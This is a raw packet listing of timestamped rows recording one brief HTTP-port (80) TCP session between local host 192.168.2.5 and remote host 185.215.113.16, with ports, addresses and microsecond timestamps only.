Oct 31, 2024 02:08:16.682336092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.682415009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.682581902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.682646036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.682652950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.682661057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.682676077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.682714939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.683096886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.683111906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.683128119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.683163881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.683197975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.722551107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.722568035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.722592115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.722609043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.722626925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.722641945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.722641945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.722690105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.722745895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.743896961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.743976116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.743998051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.744021893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.744029045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.744039059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.744054079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.744076014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.744129896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.744437933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.744504929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.744600058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.744616032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.744631052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.744663954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.744716883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.744918108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.744930983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.745027065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.758865118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.758892059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.758905888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.758920908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.758959055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.795169115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.795186043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.795202017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.795253992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.795270920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.795291901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.795388937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.795459986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.795483112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.795500994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.795516968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.795527935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.795551062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.795900106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.796125889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.796338081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.798896074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.798949957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.798959970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.798974037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799027920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.799029112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799045086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799062014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799103975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.799484968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799499989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799515009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799566031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.799566031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.799743891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799813032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799838066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799854994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799856901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.799870014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.799895048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.800468922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.800483942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.800498962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.800524950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.800620079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.839701891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.839755058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.839771032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.839788914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.839803934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.839818954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.839834929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.839876890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.860976934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.861005068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.861021042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.861099958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.861130953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.861146927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.861161947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.861190081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.861203909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.861310005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.861325026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.861341000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.861356974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.861392975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.861548901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.875824928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.875839949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.875854969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.875878096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.875893116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.875895023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.875906944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.875935078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.876007080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.919291973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919308901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919332981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919348001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919363022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919378042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919377089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.919393063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919404984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.919476032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.919545889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919569969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919584036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919615984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.919682026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919698000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919712067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.919713974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919732094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.919739008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.919842005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.920538902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.920553923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.920582056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.920598030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.920608044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.920613050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.920628071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.920644045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.920653105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.920669079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.921454906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.921472073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.921487093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.921577930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.956525087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.956552029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.956571102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.956593990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.956605911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.956621885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.956635952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.956660986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.956711054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.977967978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.977992058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.978008032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.978022099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.978039026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.978060007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.978060007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.978140116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.978193045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.978226900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.978243113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.978257895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.978274107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.978285074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.978307962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.993010998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.993041992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.993057013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.993072033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.993097067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.993158102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.993161917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.993181944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.993196011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.993221045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.036112070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036129951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036145926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036161900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036195040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.036226988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036242962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036336899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036361933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036362886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.036376953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036405087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.036458969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.036730051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036786079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036801100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036891937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036911011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036919117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036927938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.036933899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036951065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.036961079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.037071943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.037404060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.037462950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.037480116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.037493944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.037513971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.037513971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.037539005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.037933111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.037949085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.037964106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.037978888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.037992001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.037992954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.038018942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.038100958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.073487997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.073503971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.073525906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.073543072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.073558092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.073573112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.073574066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.073630095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.094790936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.094849110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.094863892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.094881058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.094896078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.094898939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.094965935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.094981909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.095006943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.095031023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.095047951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.095101118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.095102072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.095357895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.095422029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.095458984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.095474958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.095489979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.095504999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.095549107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.095549107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.110049009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.110146999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.110163927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.110178947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.110196114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.110207081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.110402107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.153114080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153150082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153173923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153192043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153208971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153228998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.153305054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153306007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.153332949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153398991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.153469086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153485060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153500080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153534889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.153698921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153714895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153729916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153747082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.153929949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153945923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153959036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.153960943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153978109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.153992891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.154006958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.154289007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.154434919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.154453039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.154509068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.154524088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.154535055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.154539108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.154555082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.154563904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.154580116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.154594898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.154609919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.154613972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.154654026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.154654026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.155307055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.155564070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.155637026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.190619946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.190664053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.190680027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.190723896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.190726995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.190745115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.190769911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.219827890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.219852924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.219868898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.219885111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.219899893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.219916105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.219924927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.219930887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.219954967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.219970942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.219985008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.219997883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.220000982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.220016956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.220032930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.220041990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.220047951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.220062017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.220177889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.227431059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.227483034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.227498055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.227550030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.227564096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.227566957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.227582932 CET	80	49712	185.215.113.16	192.168.2.5
